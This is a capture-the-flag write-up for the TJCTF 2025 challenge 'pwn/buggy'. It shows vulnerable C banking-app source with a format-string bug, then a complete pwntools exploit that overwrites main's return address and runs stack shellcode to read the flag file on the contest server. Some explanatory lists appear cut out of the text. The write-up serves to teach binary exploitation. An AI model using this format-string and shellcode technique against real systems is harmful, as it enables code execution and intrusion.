edit

TJCTF 2025: pwn/buggy

I HATE bugs in production.

flag is in /app/flag.txt

Author: thegreenmallard

We’re given a binary and the source code that was used to compile it.

chall.c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>


#define DEBUG true

int main(int argc, char **argv) {
    char inputBuffer[1024];
    unsigned int balance = 50;
    
    setbuf(stdout, NULL);

    if (DEBUG) {
        printf("%p, %p\n", &inputBuffer, &balance);
    }

    puts("Welcome to TJ Bank!");
    while (true) {
        printf("What would you like to do? (view balance|deposit|withdraw|transfer|exit) ");
        fgets(inputBuffer, 1024, stdin);
        if (strcmp(inputBuffer, "view balance\n") == 0) {
            printf("Your balance is $%u\n", balance);
        } else if (strcmp(inputBuffer, "deposit\n") == 0) {
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            if (DEBUG) {
                printf(inputBuffer);
            }
            int amount = atoi(inputBuffer);
            balance += amount;
            printf("$%u added to account\n", amount);
        } else if (strcmp(inputBuffer, "withdraw\n") == 0) {
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            if (DEBUG) {
                printf(inputBuffer);
            }
            int amount = atoi(inputBuffer);
            if (amount > balance) {
                puts("Balance too low to continue. Aborting.");
                continue;
            }
            balance -= amount;
            printf("$%u removed from account\n", amount);
        } else if (strcmp(inputBuffer, "transfer\n") == 0) {
            printf("Enter account number for transfer: ");
            fgets(inputBuffer, 1024, stdin);
            int accountNumber = atoi(inputBuffer);
            printf("Enter amount: ");
            fgets(inputBuffer, 1024, stdin);
            int amount = atoi(inputBuffer);
            if (amount > balance) {
                puts("Balance too low to continue. Aborting.");
                continue;
            }
            balance -= amount;
            printf("$%u transferred to account number %u\n", amount, accountNumber);
        } else if (strcmp(inputBuffer, "exit\n") == 0) {
            break;
        } else {
            puts("Please enter a valid option");
        }
    }
    return 0;
}

Things to notice:

That second fact gives us an arbitrary write primitive (using the %n format specifier), which is easily exploitable using pwntools.

Running checksec on the executable reveals something unusual – the stack’s executable:

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

This means if we can jump to somewhere in our buffer, we can trivially run our own code.

Since the buffer is on the stack, we can calculate the location of the return address of main from its address. Which means we can write to it with our aforementioned arbitrary write.

The plan, then, is to:

Turns out it’s not too hard to translate that plan into reality with pwntools:

from pwn import *

context.binary = "./buggy"
r = remote("tjc.tf", 31363)

# Obtain `inputBuffer` address from leak
buf_leak = r.recvline().decode()
buf_addr = int(buf_leak.split(",")[0], 16)
r.recv()

# Calculate the location of the return address
ret_addr_pos = buf_addr + 1048

# Put the printf write at the start and the shellcode at some offset into the inputBuffer
shellcode = asm(shellcraft.cat("/app/flag.txt"))
shellcode_offset = 512
write_part = fmtstr_payload(12, { ret_addr_pos: buf_addr + shellcode_offset })
payload = write_part + b"a"*(shellcode_offset-len(write_part)) + shellcode

# Execute the write
r.sendline(b"deposit")
r.recvuntil(b"Enter amount: ")
r.sendline(payload)
r.recv()

# Return to win!
r.sendline(b"exit")
print(r.recvall())

Flag: tjctf{sys_c4ll3d_l1nux_294835}


HomeAboutContact